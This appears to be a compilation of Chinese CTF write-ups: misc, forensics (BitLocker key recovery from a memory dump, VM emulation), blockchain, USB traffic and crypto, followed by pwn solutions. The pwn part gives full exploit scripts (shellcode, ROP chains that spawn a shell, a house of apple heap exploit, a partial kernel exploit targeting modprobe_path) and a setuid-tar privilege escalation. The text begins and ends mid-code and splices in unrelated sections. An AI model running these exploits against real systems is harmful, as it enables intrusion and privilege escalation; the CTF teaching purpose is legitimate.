($ns) { for ($i = 0; $i < strlen($ns); $i++) { if ($i % 2 == 1) { $ns[$i] = str_rot13($ns[$i]); } } return $ns; }; echo base64_decode($bbb($result)); ?>后来去找了下f.txt,解出来flag:flag{sH3_i4_S0_6eAut1fuL.} BGM 坏了吗?用 Audacity 打开音频很容易发现结尾处右声道有信息,而左声道是噪音 根据题目描述是拨号音,但是直接放解不出来,需要删掉噪音 选择 分离立体音到单声道 » 关闭左声道 » 导出 按键音(即DTMF)解密网站:DTMF Decoder 包上 flag{} 即可 AmazingGame安卓私有目录位于 /data/user/0/<包名> 下 安卓的 shared_prefs 一般用来存放软件配置数据 修改文件即可更改已通过的关卡数据 通过第一关后,关掉游戏(这点很重要) ADB 链接手机执行 shell adb shell run-as com.pangbai.projectm cd shared_prefs cat net.osaris.turbofly.JumpyBall.xmlxml <?xml version='1.0' encoding='utf-8' standalone='yes' ?> <map> <boolean name="cockpitView" value="true" /> <int name="unlockedsolotracks" value="2" /> <int name="unlockedtracks" value="2" /> <int name="best0m0" value="130" /> <int name="unlockedships" value="1" /> <int name="userid" value="9705893" /> </map>软件有 23 个关卡,我们把关卡解锁数改为 23 正常来说应该用 adb push 来修改文件,这里我们为了方便直接把 2 替换成 23 shell sed -i 's/2/23/g' net.osaris.turbofly.JumpyBall.xml打开游戏发现关卡全部解锁,随便游玩 23 关,等游戏结束即可获得 flag ez_jail本题的原意是只考查 {} 在 C++ 里的(宏)替代运算符这个知识 只要关键词用得对,网上一搜就能搜到,但是被出题人执行坏了,测题时出现了一堆非预期。考虑了一下各个知识点的难度,感觉非预期的难度和预期解相差不大,就索性变成了一道半开放性的题目 我们观察代码的 check 函数 python def cpp_code_checker(code): if "#include" in code: return False, "Code is not allowed to include libraries" if "#define" in code: return False, "Code is not allowed to use macros" if "{" in code or "}" in code: return ( False, "Code is not allowed to use `{` or `}`,but it needs to be a single function", ) if len(code) > 100: return False, "Code is too long" return True, "Code is valid"这段代码看似过滤了 #include #define 等,但不知道同学们有没有意识到 # 后加空格就能绕过这里,也就是说可以通过宏定义来做到编译前预处理 所以 Payload 可以是这样(感谢 yuro 师傅提供解法) cpp # define user_code() write(STDOUT_FILENO, "Hello, World!", 13);预期解是找到 C++ 的替代运算符的相关资料,然后使用 <% %> 替换{},Payload 如下 cpp void user_code()<%write(1, "Hello, World!\n", 14);%>除此之外,还可以使用指针,把 user_code() 变成一个空函数。输出的话可以通过定义一个全局变量接收输出函数的返回值来实现,其 payload 如下(感谢 c_lby 师傅提供解法) cpp int a=puts("Hello, World!"); int (*user_code)()=rand;或者可以这样(感谢 KAMIYA 选手提供解法) cpp int x = (printf("Hello, World!\n"), 0); using user_code = void(*)(); OSINT-MASTER给了图片,先看图片的 EXIF 信息,拍摄时间是 2024-8-18 14:30,照片中可以在机翼上看到一个标号 B-2419 直接在 flightaware 中搜索这个标号,应该是飞机的注册号 可以搜到这是一架东航的飞机 在下面可以找到历史航班 可以看到,在 2024 年 8 月 18 日这四架航班中,只有红框中这架符合 14:30 在飞行中,点进去看一下详细信息 找到航班号 MU5156 下面根据照片拍摄时间和航行轨迹来找照片拍摄时飞机经过的地级市,我这里使用航班管家,有了航班号直接搜 14:30 在 14:13 和 14:51 中间偏左的位置 放大来看,此时飞机大致经过邹城市 经过搜索,邹城市属于济宁市,济宁市是地级市 所以答案是 flag{MU5156_济宁市} 扫码领取flag1.解压得到很多压缩包文件,使用winhex查看,发现是8950开头,都将文件修改为后缀名.jpg 2.使用工具对所有png图片进行CRC32自动化爆破修复,会得到每个图片是二维码的残图 3.使用PPT对二维码进行拼接成一张二维码图片 4使用OCR扫描二维码得到 flag flag{Then_d0_you_kn0w_w6at_Hanx1n_cod3_1s?} 擅长音游的小明同学题目简介如下: 主要是帮助新人了解一下磁盘取证仿真的过程,为了让他符合一点 Week4 的特质还附赠了一点图片隐写,还有出题人活全家小trick。 如果有强大的必应搜索能力,除了 trick 需要动脑子,其他的按网上教程其实都有,不过下面也有就是了 先看介绍: 小明是资深的音游玩家,有一天他游玩某知名街机音游后顺利使 rating 上 w5, 当他将成绩图上传到电脑上时,他的桌面【直接显现】了神秘的东西, 然而没等他反应过来,他的电脑就消失不见,只剩下一个磁盘镜像(?), 这时小明脑海中有一个声音告诉他,如果他找不出来神秘的东西就会抽走他的音游底力, 小明顿时慌了,想希望你帮帮他【利用镜像启动系统】,找到找到令人头疼的秘密。 首先我们能知道什么? 小明是音游吃,底力没了会很伤心桌面上有秘密,说白了就是 Flag,而且很明显你手里有一个磁盘镜像算是个提示:使用磁盘镜像启动系统这个提示告诉我们解题流程类似于仿真取证。 预期解法:使用 FTK imager + 虚拟机进行仿真找出 Flag. TIP 科普常用小工具:FTK imager ——可以制作镜像、挂载镜像、分析镜像,数据恢复等操作,不管是出题还是解题都十分好用,这里正常解法使用 4.2.0 版本,高版本可能会出现一些问题。 想要进行仿真取证的话,了解系统的基本信息是非常必要的,这里我们使用最原始方法为例: 首先我们打开 FTK imager 加载拿到的镜像,我们看到所有分区都加载完毕,发现磁盘名称有提示,说明系统是 Windows7 x64. 由提示而来,看看桌面的背景图片和文档,能不能直接提取 Flag. 瞅一眼图片,路径在 C:\Users\[用户名]\AppData\Roaming\Microsoft\Windows\Themes 或 C:\Windows\Web\Wallpaper\Windows 可以看到十分抽象的壁纸,根本没有能明显看见的东西,瞅一眼桌面文件夹,只有一大坨文件,也没有什么直观能看见的,内容倒是有: 文件包含的一些内容: 要开始了哟~.txt真相.txt plaintext 今天舞萌彩框了好开心啊o(* ̄▽ ̄*)ブ 我要把这一刻用照片保存下来 不过在拍摄rating变化的瞬间总感觉有什么东西藏进照片里了 打开也没发现什么异常,但是体积好像变大了一点 是错觉吗?我们确定了有一张日常图片,而且一定是藏了东西的,我们可以在图片文件夹寻找到照片进行分析(哎舞萌痴): 使用 010 Editor 进行查看的话,可以发现除了正常的照片内容,还有意义不明的文字和一个压缩包(实际上使用 binwalk 梭一下也很正常): 文字内容: plaintext ?????_DIMENSION_1200x800压缩包可以使用 binwalk 提取并解压: secret.txt plaintext 听好了听好了听好了听好了听好了听好了听好了: 1919年8月10日,世界就此陷落, 陷落的世界都将迎来一场漩涡, 为这个世界带来有关弗拉格尚未知晓的真相。 但发掘真相的道路被加诸混沌的历练 世界的宽高未被正确丈量 当真相被混沌打乱时 真相将不复存在 也许,在世界的重置和轮回中能找到发现真相的方法…… 至此,尘埃落定 至此,一锤定音 #音游# #NewStarcaea# #Misc#这里可能就需要一些脑洞了,这个世界的宽高和上面的 Dimension 1200×800 能想到是分辨率吗? 实际上到这里信息刺探就已经结束了,下面开始进行仿真启动,这里使用了 Vmware,如果你想使用 HyperV 或者 VirtualBox 的话可以搜索:如何将 E01 转为 VHD / VDI. 注意 FTK Imager 4.5.0.2 版本可能会出问题,建议使用 4.2.0 版本。 进行以下选择,直接将镜像映射成物理磁盘,方便虚拟机直接使用启动: 一定要选择挂载方式位 Writable 不然会因为无法写入而报错,点击 Mount 挂载,下面出现挂载结果表示成功: 挂载成功后我们打开虚拟机,这里使用 Vmware,由于使用物理硬盘需要管理员权限,所以我们需要使用管理员启动 Vmware,右击快捷方式,打开文件位置,再次右击选择兼容性,勾选以管理员权限启动: 启动之后新建虚拟机就可以了。 选择 Windows7 x64 配置,一路全选推荐,其中需要注意的如下: 为什么要选择 UEFI? 结合搜索引擎和对挂载硬盘的研究,不难发现除放置文件的硬盘,还有两个小硬盘,对应的就是 ESP 分区 和 MSR 分区,这些特征符合 GPT 分区格式的硬盘,不同于 MBR,因此需要选择 UEFI,这里不展开讨论,有兴趣的师傅们可以慢慢了解。 WARNING 这里选择要与挂载结果的显示物理磁盘的挂载位置要一致。 接下来就可以启动了,如果提示被占用,可以检查挂载是否挂载为「可写」,也可以尝试重启系统,使用 FTK 直接挂载,再试一次。 当你进入系统后就不得不想起前面的提示: plaintext 但发掘真相的道路被加诸混沌的历练 世界的宽高未被正确丈量 当真相被混沌打乱时 真相将不复存在 1200x800Flag 其实是拿桌面图标堆的,要是不是 1200×800 的分辨率启动就会被重新排列,一旦被重新排列,图标就再也回不去了 你需要切换到 Guest 调整窗口到相应分辨率再切换到 Admin 账号,就看到了: 最终:flag{wowgoodfzforensics} WriteUp 是出题人视角的解法,如果是新生想要解题,则大概率做题路径会先根据题目介绍先仿真启动虚拟机,然后发现桌面什么都没有,根据留下的引导发掘出真相,然后重新启动一遍虚拟机。(一想到发现真相的新人们要重新开始笑容就到了我的脸上。) 擅长加密的小明同学涉及到取证常见的 Volatility 和 GIMP 看图的组合技,还融入(缝)了 BitLocker 解密环节。 拿到题目,题目含有一个 .raw 镜像和一个 .vhd 镜像,尝试挂载 vhd 镜像发现有 BitLocker 加密,看一眼简介: 小明在学习中对各类文件加密的方式起了浓厚的兴趣,并把自己珍贵资料和 Flag 进行了套娃式加密。然而,他却在某天的凌晨三点选择了重装系统,本来他就记不住自己的密码,还丢失了备份密钥…… 据受害者回忆,【他曾经使用画图软件把密码写了下来】,尽管备份已经丢失,如果能成功看到程序运行的样子,说不定就找回密码了,但是硬盘的加密怎么办呢,哎呀~要是有软件能直接破解就好了www 明确目标,我们围绕套娃加密分析: 双击 vhd 发现有 BitLocker,BitLocker 怎么解?理论上没有密码和恢复密钥还真解不开,也没有软件能直接破解,但是 dump 内存镜像的机器是成功解密 BitLocker 的,内存中会残留着 BitLocker 的密钥,而借助内存镜像来解密 BitLocker 的软件确实是有的,他是 Elcomsoft Forensic Disk Decryptor,基本上搜到的博客都用它,使用以上软件,按图示步骤解密: 选择第一项「解密或挂载硬盘」: 由于题目给了 vhd 文件,所以选使用镜像文件的第二项: 数据来源选择被加密的镜像,而内存转储文件就选题目给的 raw 文件: 一顿操作猛如虎,你就拿到了恢复密钥,这时候你就可以解锁被加密的 vhd 了,软件可以导出解密内容为 raw 格式镜像,raw 格式处理会麻烦一点,但不是不可以。这里在 “更多选项” 选择用恢复密钥解密,得到: 然后你会发现套娃的第二层加密: 7z 在密码复杂的情况下基本不可能被解出密码,根据提示,我们得知小明曾经使用画图软件把密码写了下来,我们可以借助内存镜像看到程序运行的样子找回密码。 在这里我们借助 volatility 和 GIMP 的力量解决问题: 首先按照上一道取证,分析镜像后查看进程: 发现 mspaint.exe(画图进程),我们提取出来,使用 memdump: 提取出的程序对应的 dmp 文件是含有程序运行时的显示内容的,我们只需要寻找运行时图像在 dmp 文件中的位置,然后想办法让他显示出来,这里我们就可以借助 GIMP 通过调整偏移,高,宽的方式达到上面的目的。 在此之前,记得改后缀为 .data,拉入 GIMP 打开,可以看到: 我们现在就是要调节位移、宽度、高度来显现程序运行时显示的内容。 小提示 一般正常的内存镜像的话,图像类型我们都选择「RGB 透明」适当调大宽高,能显示多一点内容,但别调太高,小心程序崩了位移看着拉,先拉到感觉有东西显示的位置,感觉差不多这样吧,一般画图就是白的夹依托的感觉: 调好位移就调宽高,宽和高实际上就是和程序窗口大小有关,所以别太高,主要是宽度,如果和图上一样↘斜,那么你就该调高宽度,箭头一点一点加上去,如果是↗,你就得一点一点减下来,知道看上去正常了,下面是较为正常,也够用: 936 其实已经是很正常了(上附虚拟机真实图片),其实如果你发现内容如果很不对劲,频繁重复的话,你也可以适当减小整数倍(当然这里会看起来很窄): 总之多尝试 ~ 最后我们得到了: 压缩包密码:rxnifbeiyomezpplugho 解压得到 Flag:Flag{5ZCb44Gv5Y+W6K+B5pys5b2T44Gr5LiK5omL} ezblockchain本题是一题区块链题。 浏览器安装 MetaMask 插件,在 MetaMask里 添加网络,网络符号和货币符号可以随便输 通过自己的账号地址在 faucet 获得测试代币 nc 获得合约部署账号并使用 Metamask 转账 交互部署合约,获得合约地址和代码 将代码复制进 Remix 编辑器 内,在「Solidity 编译器」选项卡点击编译,然后切换到「部署 & 发交易」选项卡,环境选择 Injected Provider,选择你有 eth 的账户,合约选择你刚编译的合约,然后加载前面 nc 获得的合约地址 阅读合约代码可以知道,我们要调用 unlock 函数,传入 re@1lY_eA3y_Bl0ckCh@1n 并发送 0.0721 个 eth. 因此在「部署 & 发交易」选项卡的以太币数量填入 0.0721 eth,由于无法填入小数,需将其转为 72100000 Gwei,在 unlock 填入 re@1lY_eA3y_Bl0ckCh@1n,点击 unlock 进行交易。 交易确认后点击 isSolved 可发现已经变为 true. 此时再 nc 交互即可得到 flag Alt本题考察键盘流量的解析。 根据选手反馈,本题难点有二: 一是找的码位对照表不全,没有 KeyPad 区(右手数字小键盘区)的对照;二是不知道 Alt 在这道题里有什么作用。第一步我们需要用 tshark 把 USB 数据提取出来,本题的数据为 usbhid 格式,有些题目的格式也可能是 usb.capdata. bash tshark -r keyboard.pcapng -T fields -e usbhid.data > usbdata.txt然后得到的数据里有一些空行,可以用文本编辑器批量替换掉。我这里截最前面的一段作为示例进行分析: plaintext 0400000000000000 0400590000000000 0400000000000000 0400620000000000 0400000000000000 04005a0000000000 0400000000000000 0000000000000000 0400000000000000 0400590000000000 0400000000000000 0400620000000000 0400000000000000 0400600000000000 0400000000000000 0000000000000000 0400000000000000 0400610000000000 0400000000000000 04005f0000000000 0400000000000000 0000000000000000根据中文互联网上能容易找到的、不用充会员的键盘流量分析相关资料可知,第一字节代表控制键,第二字节保留为 0x00,第三到八字节是我们敲击的键。 有些同学反映,网上的脚本里找不到 0x59 0x62 等等键码对应的按键,原因上面讲过了。其实多读几篇国内的相关文章就会发现它们经常引用一篇名为 Universal Serial Bus (USB) 的文章,把这个文件下载下来,第 55 页就有对应的对照表。 很多同学分析到这里,都会忽略第一字节的 0x04,根据题目名和网上的资料可以知道是按着 Alt 键。那么整个击键流程就比较清晰了:保持 Alt 键的按下状态,按下几个数字键,然后松开 Alt。 直接搜索「Alt 加数字键」,就能知道这是在按Unicode码值输入字符,写个脚本稍微自动化一下或者直接一个个手动看过去,很容易分析出来上面截取分析的这段流量就是在输入 fla 这三个字符,以此类推,就能得到整个 flag. 还有一些同学对流量里的 backspace 退格键有所疑惑,认为是删除了前一个数字或者认为是删除了整个字符。很遗憾两者都不是。 注意题目描述中指明了,flag 含有非 ASCII 字符且语义较通顺。如果退格键是删除了 Alt 加数字键打出来的整个字符的话,得到的 flag 就不含有非 ASCII 字符。 如果退格键是删除了上一个输入的数字的话,得到的 flag 的非 ASCII 部分没有任何语义。反而是忽略了退格键,能得到正确的结果,比如说第一段非 ASCII 字符是键盘流量。 因为出题人在出题时是用的 Windows 11 自带记的事本,如果要让 Alt 加数字的结果是中文字符的话,经测试需要按下退格键或者是 Enter 键,也说明 Alt 加数字键输入非 ASCII 字符这个特性在不同软件里不一定能完美复现。除了手动复现按下 Alt 键加数字键这个流程以外,也可以直接使用 Python 的 chr 函数进行计算,就能获得十进制码值对应的字符。 附件内容:链接: https://pan.baidu.com/s/1_5ASgOO7VUzUp1rhDMZYtg?pwd=8mgn 提取码: 8mgn
  8. CryptoXOR1.打开环境是一串字符,用一个异或脚本或者在线解码工具就可以解出来(只有一次加密) key是mimic 解密得到flag 在线解密 或者脚本: Pwnezcode套json的直接shellcode,限制长度0x16,先实现0x16字节内的mprotect+read,后续写orw_shellcode from pwn import * import json context(log_level='debug',os='linux',arch='amd64') pwnfile = './vuln' io=process(pwnfile) #io = remote() elf = ELF(pwnfile) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #libc = ELF("./libc.so.6") shellcode=''' sal edi,12 mov dx,7 mov ax,10 syscall cdq xor eax,eax mov esi,ecx xor edi,edi syscall ''' shellcode1 = asm(shellcode) print("len-->",len(shellcode1)) payload1 = { "shellcode": shellcode1.hex() } io.sendlineafter("Please enter your input:",json.dumps(payload1)) shellcode = asm(''' mov rdi,0x999800d xor esi,esi xor rdx,rdx mov rax,2 syscall mov rdi,rax mov rsi,0x9998000+0x300 mov edx,0x40 xor eax,eax syscall mov edi,1 mov rsi,0x9998000+0x300 mov rax,1 syscall ''') io.sendline(b'./flag\x00\x00\x00'+shellcode) io.interactive()signin_revenge栈溢出,no pie, no canary,构造ROP 泄露地址然后orw from pwn import * context(log_level='debug',os='linux',arch='amd64') pwnfile = './vuln' #io=process(pwnfile) io=remote("pwn-16255a8951.challenge.xctf.org.cn", 9999, ssl=True) elf = ELF(pwnfile) libc = ELF("./libc.so.6") def debug(): gdb.attach(io) pause() pop_rdi = 0x0000000000401393 puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] main_adr = elf.symbols['main'] #debug() pay = b'a'*0x108+flat(pop_rdi,puts_got,puts_plt,main_adr) io.sendlineafter("lets move and pwn!\n",pay) puts_adr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00')) libc_base = puts_adr-libc.sym['puts'] pop_rdx = libc_base + 0x0000000000142c92 pop_rsi = libc_base + 0x000000000002601f pop_rbp = libc_base + 0x00000000000226c0 pop_rax = libc_base + 0x0000000000036174 leave_ret = 0x4012EE read = 0x04012D6 #0x130 bss = 0x404000+0x800 flag_adr= bss+0x98 op = libc_base + libc.symbols['open'] re = libc_base + libc.symbols['read'] wr = libc_base + libc.symbols['write'] pay = b'a'*0x100+p64(bss-8)+flat(pop_rax,bss,read) io.sendafter("lets move and pwn!\n",pay) #debug() orw = flat(pop_rdi,flag_adr,pop_rsi,0,op, pop_rdi,3,pop_rsi,flag_adr+0x200,pop_rdx,0x100,re, pop_rdi,1,pop_rsi,flag_adr+0x200,pop_rdx,0x40,wr)+b'./flag\x00' io.sendline(orw) io.interactive()QWEN 可以越界写到 memu 指针,和 0x20 字节。 然后是利用 后门 读 /proc/self/maps 获取内存信息,通过 libc_base 拿到两个 gadget 0x000000000004ee21 : pop rdx ; add rsp, 0x38 ; pop rbx ; pop rbp ; ret 0x00000000000d10be : xor eax, eax ; add rsp, 8 ; ret 劫持 menu 指针为 pop rdx ; add rsp, 0x38 ; pop rbx ; pop rbp ; ret,跳到 read 多写的 0x20 字节,执行 system(“/bin/sh”) 获取 shell exp from pwn import * def debug(c = 0): if(c): gdb.attach(p, c) else: gdb.attach(p) pause() def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) #----------------------------------------------------------------------------------------- s = lambda data : p.send(data) sa = lambda text,data :p.sendafter(text, data) sl = lambda data :p.sendline(data) sla = lambda text,data :p.sendlineafter(text, data) r = lambda num=4096 :p.recv(num) rl = lambda text :p.recvuntil(text) pr = lambda num=4096 :print(p.recv(num)) inter = lambda :p.interactive() l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00')) uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00')) int16 = lambda data :int(data,16) lg= lambda s, num :p.success('%s -> 0x%x' % (s, num)) #----------------------------------------------------------------------------------------- context(os='linux', arch='amd64', log_level='debug') p = remote("pwn-bc7e9f0275.challenge.xctf.org.cn", 9999, ssl=True) #p = process('pwn1') elf = ELF('pwn1') libc = ELF('libc.so.6') #debug('b *$rebase(0x1022)\n') for i in range(5): sla(b'\xbc\x89\xef\xbc\x9a', str(i) + ' 0') pl = b'a'*0x8 + p16(0x1508) sa(b'say?', pl) sla(b'game [Y/N]', b'N') sla(b'\xbc\x89\xef\xbc\x9a', '111 111') sla(b'administrator key\n', str(0x6b8b4567)) file_name = b'/proc/self/maps' sla(b'logged in!\n', file_name) rl(b'The debugging information is as follows >>\n') pro_base = int(r(12), 16) rl(b'libc.so.6\n') libc_base = int(r(12), 16) - 0x1e7000 lg('pro_base', pro_base) lg('libc_base', libc_base) for i in range(5): sla(b'\xbc\x89\xef\xbc\x9a', str(i) + ' 0') # 0x000000000004ee21 : pop rdx ; add rsp, 0x38 ; pop rbx ; pop rbp ; ret # 0x00000000000d10be : xor eax, eax ; add rsp, 8 ; ret rdi = libc_base + 0x000000000002164f system, binsh = get_sb() ret = libc_base + 0x00000000000008aa one_gadget = libc_base + 0x000000000004ee21 pl = p64(libc_base + 0x00000000000d10be) + p64(one_gadget) + p64(ret) + p64(rdi) + p64(binsh) + p64(system) sa(b'say?', pl) sla(b'game [Y/N]', b'N') sla(b'\xbc\x89\xef\xbc\x9a', '111 111111111111111111111') lg('pro_base', pro_base) lg('libc_base', libc_base) #pause() inter()然后是提权。 靶机上的 pwn2 可以进行 tar 解压,拥有 s 权限,并且 -x 如果指向一个不存在的文件,可以进行文件创建和解压,利用该功能进行 tar 伪造,进行文件解压覆写。 比如 -x test.tar就会要求输入 base64,输入本地生成的 tar 包即可 由于 docker 题目中通常利用 xinetd ,并且查看 xinetd 的配置文件,是利用 /usr/bin/chroot 进行 root 到 ctf 用户的切换,所以修改 /usr/bin/chroot 为 chmox 777 /home/ctf/flag ,同时用另外终端 nc 后,触发 chroot 指向,即可修改 flag 权限读取 signinadd函数中有一个0_o函数里是跟signin_revenge相同的栈溢出,直接利用这个打orw即可 from pwn import * import ctypes from ctypes import * context(arch='amd64', os='linux', log_level='debug') file_name = './vuln' libc = ELF('./libc.so.6') #libc = ctypes.CDLL("/lib/x86_64-linux-gnu/libc.so.6") #libc.srand.argtypes = [ctypes.c_uint] li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m') #context.terminal = ['tmux','splitw','-h'] debug = 1 if debug: r = remote("pwn-c9b9d9e4e9.challenge.xctf.org.cn", 9999, ssl=True) else: r = process(file_name) libcc = cdll.LoadLibrary('./libc.so.6') libcc.srand(libcc.time(0)) elf = ELF(file_name) def dbg(): gdb.attach(r) pause() def dbgg(): raw_input() r.send('rbp') for i in range(100): a= libcc.rand()%100+1 r.sendafter('Input the authentication code:\n',p64(a)) r.sendafter('>> \n', p32(1)) #dbg() r.sendafter('Index: \n', p32(0)) r.sendafter('Note: \n', b'a'*0x10) sleep(0.5) r.send(b'a'*0x108+p64(0x401893)+p64(0x404028)+p64(0x401110)+p64(0x4013C0)) libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['puts'] openn = libc_base+libc.sym['open'] read = libc_base+libc.sym['read'] write = libc_base+libc.sym['write'] rdi = libc_base + 0x0000000000023b6a rsi = libc_base + 0x000000000002601f rdx = libc_base + 0x0000000000142c92 print(hex(libc_base)) r.send(b'a'*0x108+p64(rsi)+p64(0x404180)+p64(read)+p64(0x4013C0)) r.send('flag') sleep(0.5) r.send(b'a'*0x100+p64(0x404200)+p64(0x4013CF)) sleep(0.5) r.send(b'a'*0x100+p64(0x404300)+p64(0x4013CF)) sleep(0.5) #dbg() r.send(b'flag\x00\x00\x00\x00'+p64(rdi)+p64(0x404200)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(openn)+p64(rdi)+p64(3)+p64(rsi)+p64(0x4041a0)+p64(rdx)+p64(0x30)+p64(read)+p64(rdi)+p64(1)+p64(write)) r.interactive()guest book菜单堆程序中有uaf且申请大小限制为0x4ff以上,没有其他限制,那么直接套板子打house of apple即可 from pwn import * import sys context.log_level='debug' context.arch='amd64' #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') libc = ELF('./libc.so.6') flag = 1 if flag: p = remote("pwn-ca43b7414f.challenge.xctf.org.cn", 9999, ssl=True) else: p = process('./pwn') sa = lambda s,n : p.sendafter(s,n) sla = lambda s,n : p.sendlineafter(s,n) sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() leak = lambda name,addr :log.success(name+"--->"+hex(addr)) def dbg(): gdb.attach(p) pause() def cmd(choice): ru(">") sl(str(choice)) def add(index,size): cmd(1) ru("index") sl(str(index)) ru("size") sl(str(size)) def edit(index,content): cmd(2) ru("index") sl(str(index)) ru("content") sd(content) def delete(index): cmd(3) ru("index") sl(str(index)) def show(index): cmd(4) ru("index") sl(str(index)) add(0,0x520) add(1,0x500) add(2,0x510) delete(0) add(3,0x568) delete(2) show(0) mainarean = u64(ru(b'\x7f')[-6:].ljust(8,b'\x00')) libc_base=mainarean-0x21b110 edit(0,b'A'*0x10) show(0) ru(b'A'*0x10) heap_base=u64(p.recv(6).ljust(8,b'\x00'))-0x290 edit(0,p64(mainarean)*2) free_hook = libc_base+libc.sym['__free_hook'] ogs=[0xe3afe,0xe3b01,0xe3b04] og=libc_base+ogs[1] puts_io_all = libc_base + libc.sym['_IO_list_all'] wfile = libc_base + libc.sym['_IO_wfile_jumps'] addr=libc.symbols['puts']+libc_base fake_io_addr = heap_base + 0x1720 lock =0x3ed8b0+libc_base pop_rdi = libc_base + next(libc.search(asm('pop rdi;ret;'))) pop_rsi = libc_base + next(libc.search(asm('pop rsi;ret;'))) pop_rdx_r12 = libc_base + next(libc.search(asm('pop rdx;pop r12;ret;'))) r12 = libc_base + next(libc.search(asm('pop r12;ret;'))) leave_ret = libc_base + next(libc.search(asm('leave;ret;'))) open_addr=libc.symbols['open']+libc_base read_addr=libc.symbols['read']+libc_base write_addr=libc.symbols['write']+libc_base puts_addr=libc.symbols['puts']+libc_base setcontext=libc_base+0x0000000000151990 io_all = libc_base + libc.sym['_IO_list_all'] wfile = libc_base + libc.sym['_IO_wfile_jumps'] magic_gadget = libc_base + + 0x154ff0 +26#0x154dd0 +26# + libc.sym['svcudp_reply'] + 0x1a #edit(0,'./ctfshow_flag\x00') orw_addr=heap_base+0x14b0 flag_addr = heap_base+0x260 sh_addr = heap_base+0x7d0 system=libc_base+libc.sym['system'] pl=p64(0)+p64(leave_ret)+p64(0)+p64(puts_io_all-0x20) pl+=p64(0)*2+p64(0)+p64(fake_io_addr+0x10) #chunk0+0x48 pl+=p64(0)*4 pl+=p64(0)*3+p64(lock) pl+=p64(0)*2+p64(fake_io_addr+0xe0)+p64(0) pl+=p64(0)*4 pl+=p64(0)+p64(wfile) pl+=p64(0)*0x14+p64(fake_io_addr+0x120+0x70+0xa0-0x68) #chunk0+0xe0 pl+=p64(0)*0xd+p64(system) ''' pl1=p64(0)+p64(leave_ret)+p64(0)+p64(puts_io_all-0x20) pl1+=p64(0)*2+p64(0)+p64(fake_io_addr+0x10) #chunk0+0x48 pl1+=p64(0)*4 pl1+=p64(0)*3+p64(lock) pl1+=p64(0)*2+p64(fake_io_addr+0xe0)+p64(0) pl1+=p64(0)*4 pl1+=p64(0)+p64(wfile) pl1+=p64(0)*0x1c+p64(fake_io_addr+0xe0+0xe8) #chunk0+0xe0 pl1+=p64(0)*0xd+p64(system) ''' #add(3) print(hex(libc_base)) print(hex(heap_base)) add(4,0x510) add(5,0x520) add(6,0x558) add(7,0x558) add(8,0x548) add(9,0x548) delete(6) add(10,0x598) delete(8) edit(6,pl) edit(3,b'\x00'*0x560+b' sh;\x00\x00\x00') add(8,0x5f0) add(9,0x540) dbg() p.sendline('5') p.interactive()kerexp如下 /* Pwned by XiaozaYa (: 0x40 GFP_KERNEL; 一次 double free,一次 UAF edit,close时会将 chunk置空所以等价于无限次 add LEAK: open-add 0x40 chunk0 第一次 free chunk0 堆喷 user_key_payload占据 chunk0 第二次 free chunk0 close-open-add堆喷占据 chunk0并修改 datalen实现越界读 利用 user_key_payload越界读去 leak kbase/koffset等信息 USMA: 释放 user_key_payload即释放 chunk0 分配 pgv占据 chunk0 利用一次 UAF edit修改 pgv[0]为 modprobe_path所在页面 USMA修改 modprobe_path即可 */ #ifndef _GNU_SOURCE #define _GNU_SOURCE #endif #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <signal.h> #include <string.h> #include <stdint.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <sched.h> #include <linux/keyctl.h> //#include <ctype.h> #include <pthread.h> //#include <sys/types.h> //#include <sys/wait.h> #include <sys/socket.h> #include <linux/if_packet.h> #include <arpa/inet.h> // 添加 htons 函数的头文件 #include <net/if.h> // 添加 if_nametoindex 函数的头文件 void err_exit(char *msg) { perror(msg); sleep(2); exit(EXIT_FAILURE); } void info(char *msg) { printf("\033[32m\033[1m[+] %s\n\033[0m", msg); } void hexx(char *msg, size_t value) { printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value); } /* void binary_dump(char *desc, void *addr, int len) { uint64_t *buf64 = (uint64_t *) addr; uint8_t *buf8 = (uint8_t *) addr; if (desc != NULL) { printf("\033[33m[*] %s:\n\033[0m", desc); } for (int i = 0; i < len / 8; i += 4) { printf(" %04x", i * 8); for (int j = 0; j < 4; j++) { i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" "); } printf(" "); for (int j = 0; j < 32 && j + i * 8 < len; j++) { printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.'); } puts(""); } } */ void bind_core(int core) { cpu_set_t cpu_set; CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set); printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core); } int key_alloc(char *description, char *payload, size_t plen) { return syscall(__NR_add_key, "user", description, payload, plen, KEY_SPEC_PROCESS_KEYRING); } int key_update(int keyid, char *payload, size_t plen) { return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen); } int key_read(int keyid, char *buffer, size_t buflen) { return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen); } int key_revoke(int keyid) { return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0); } int key_unlink(int keyid) { return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING); } int fd; typedef struct { char *buf; } request; void delete(char *buf) { request req = { .buf = buf }; if (ioctl(fd, 0x30, &req) < 0) { err_exit("Failed to delete chunk"); } } void edit(char *buf) { request req = { .buf = buf }; if 